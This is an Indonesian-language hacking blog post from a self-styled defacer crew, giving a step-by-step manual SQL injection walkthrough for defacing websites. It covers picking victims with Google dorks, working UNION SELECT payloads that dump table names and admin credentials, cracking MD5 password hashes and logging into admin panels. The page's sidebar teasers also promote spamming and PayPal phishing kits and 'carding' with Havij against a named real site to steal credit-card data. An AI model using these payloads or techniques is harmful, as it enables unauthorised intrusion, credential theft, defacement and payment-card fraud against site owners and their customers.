Skip to main content

Cara Deface Website dengan teknik SQL manual

-[BORNEO DEFACER CREW]-

1. Anda cari target web untuk di di deface menggunakan dork. Bisa anda cari disini

2. Ketikkan dork itu di kotak pencarian google, maka akan muncul banyak web di hasil pencarian. Silahkan anda buka salah satu

3. Tambahkan karakter ' pada akhir url'nya untuk mengetahui vulnerability'nya
Contoh : www.site.com/news.php?id=32'

4. Jika muncul tulisan seperti "syntax error" berarti web tersebut vuln alias bisa kita deface
Contoh errornya : warning: mysql_fetch_array(): supplied argument is not a valid MYSQL result resource in D:\inetpub\wwwroot\ajpower.net\html\news.php on line

5. Sekarang saatnya kita beraksi. Cari jumlah table yang ada pada database web tersebut dengan cara menambahkan karakter +order+by+1-- di belakang url
Contoh : www.site.com/news.php?id=32+order+by+1--

Anda coba satu persatu hingga muncul tulisan error.
Contoh : www.site.com/news.php?id=32+order+by+2--
www.site.com/news.php?id=32+order+by+3--
www.site.com/news.php?id=32+order+by+4--
Saya memisalkan jumlah table web ada 4 (errornya di 4)

6. Kemudian kita gunakan perintah union untuk mengeluarkan nomor yang nantinya kita gunakan. Tambahkan +union+select+1,2,3,4--
Contoh : www.site.com/news.php?id=32+union+select+1,2,3,4--
Saya memisalkan angka 3 yang keluar

7. Sekarang masukkan version() pada angka 3 untuk memaparkan version
Contoh : www.site.com/news.php?id=32+union+select+1,2,version(),4--

8. Kita munculkan nama - nama table yang ada pada web tersebut dengan memasukkan perintah table_name pada angka 3 dan perintah +from+information_schema.tables-- dibelakang url
Contoh : www.site.com/news.php?id=32+union+select+1,2,table_name,4+from+information_schema.tables--
Nantinya kita akan melihat nama nama table yang ada pada web

9. Kita lihat isi yang ada di dalam table tersebut dengan memasukkan perintah group_concat(table_name) pada angka 3 dan perintah +where+table_schema=database()-- di akhir url
Contoh : www.site.com/news.php?id=32+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()--

10. Selanjutnya kita keluarkan isi yang ada di table tersebut (column) dengan memasukkan perintah group_concat(column_name) pada angka 3 dan +from+information_schema.columns+where+table_name=0xHasilConvertTextTableAdmin-- di akhir url
Untuk langkah ke 10 ini silahkan anda convert terlebih dahulu text nama table'nya ke hexadecimal disini
Jadi misalkan nama table'nya tadi admin maka jika di convert akan menjadi 61646D696E
Contoh : www.site.com/news.php?id=32+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x61646D696E--
Nanti akan muncul column yang berisikan username dan password

11. Lalu kita lihat isi dari column yang kita temukan. Saya misalkan nama tablenya adalah admin, dan isi dari table admin adalah column username & password. Maka masukkan perintah concat_ws(0x3a,"nama column yang ada di dalam table admin") pada angka 3 dan perintah +from+Admin-- di akhir url
Contoh :  www.site.com/news.php?id=32+union+select+1,2,concat_ws(0x3a,"username,password"),4+from+Admin--

12. Maka kita akan melihat username dan password admin dari web tersebut. Saatnya kita eksekusi.

13. Cari admin pagenya, biasanya dengan menambahkan tulisan berikut di akhir url web target.
/admin/ , /administrator/ , /webadmin/ , /adm/ , /webbase/
Contoh : www.site.com/admin/
Nah isikan username dan password yang tadi di dapat. Jika password berbentuk MD5 seperti e10adc3949ba59abbe56e057f20f883e, anda crack dulu disini
Labels:

Comments

Post a Comment

Popular posts from this blog

Kumpulan Gambar Gear Design Lost Saga UPDATE 05 MEI 2015

Gear Design siapa sih yang tidak mengenalnya, pasti sudah banyak player Lost Saga yang sudah mengenal Gear Design. Baru - baru ini Lost Saga Indonesia baru saja merilis Gear Design untuk para heroesnya hehe, tapi harga yang di tawarkan lumayan mahal juga, admin juga sedikit menyesal karena harga itu hehe tetapi tidak salahnya juga untuk mencoba membeli gear design tersebut yah itung - itung pengen ngerasain ngedesign gear - gear yang ada pada Game Lost Saga, maka dari itu selagi pc masih nganggur jadi saya sempatkan untuk mengedit gear - gear yang ada pada Lost Saga hehe dan ada juga yang saya dapatkan dari si mbah Google hehe. Silahkan anda pilih - pilih gear yang baru saja saya publikasikan kepada Kawan night002, ohiya kami akan selalu update jika ada gear yang baru hehe. Kumpulan contoh gear design Lost Saga. Gambar gear design Lost Saga. Kumpulan gambar untuk gear design lost saga. Keterangan :   ARAHKAN KURSOR MOUSE KE GAMBAR UNTUK MENGE...
1 comment
Read more

All spam And carding tools for Free

H ello Friends, Before i spoke about spamming and how can hackers hack your credit / debit card or your paypal account easily and today i will present to you all Spamming tools for free :-) Mailer  A mailer is an essential tool for spamming or it's a bulk mailer used to send many emails at the same time, actually mailers are scripts programmed using PHP and you must upload them into your web server or a hacked one, Also there are some Softwares which use SMTP server to Send mass mails Like 1st mass mailer ( Here How to get a free Smtp Server ) Download  1st mass Mailer  Download Script PHP Mailer #1 Download  Script PHP Mailer #2 Download Script PHP Mailer #3 Letter A Letter is The Mail Body it's like any email body designed using html and css, The best letter it's the private letter, i mean a letter was made by you ! so it will be an inbox letter. Download  Paypal Private letter Download  Paypal Private letter Download  Ap...
1 comment
Read more

Cara Carding With Havij + Dork

Assalamualaikum, saya akan berbagi sedikit trik carding menggunakan Havij, langsung saja ke TKP biar prakteknya cepat selesai - yang dibutuhkan : Havij versi 1.16 ( download disini <== ) Dork bisa dilihat disini  <== kesabaran - cari dulu target kita di google, dengan menggunakan dork diatas - pilih target anda, disini saya menargetkan   http://www.a-k-a.net/prod_detail.php?id=2   sebagai korban - setelah itu buka Havij yang sudah di download tadi, terus paste Url korban di kolom target, lalu klik  tombol Analyze di sebelah kanan target - tunggu sampai Havij selesai melakukan proses Scaning,tuh Database nya udah kelihatan, lalu klik icon tables - centang Databasenya lalu klik lagi icon get Tables, maka Havij akan melakukan scaning database dan akan mencari tabel yang ada di dalam database tersebut. - jika semua daftar tabel sudah kelihatan, kita pilih salah satu tabel yang menyimpan informasi CC, biasanya ada ditabel dengan nama order,konsumen,member, ...
Post a Comment
Read more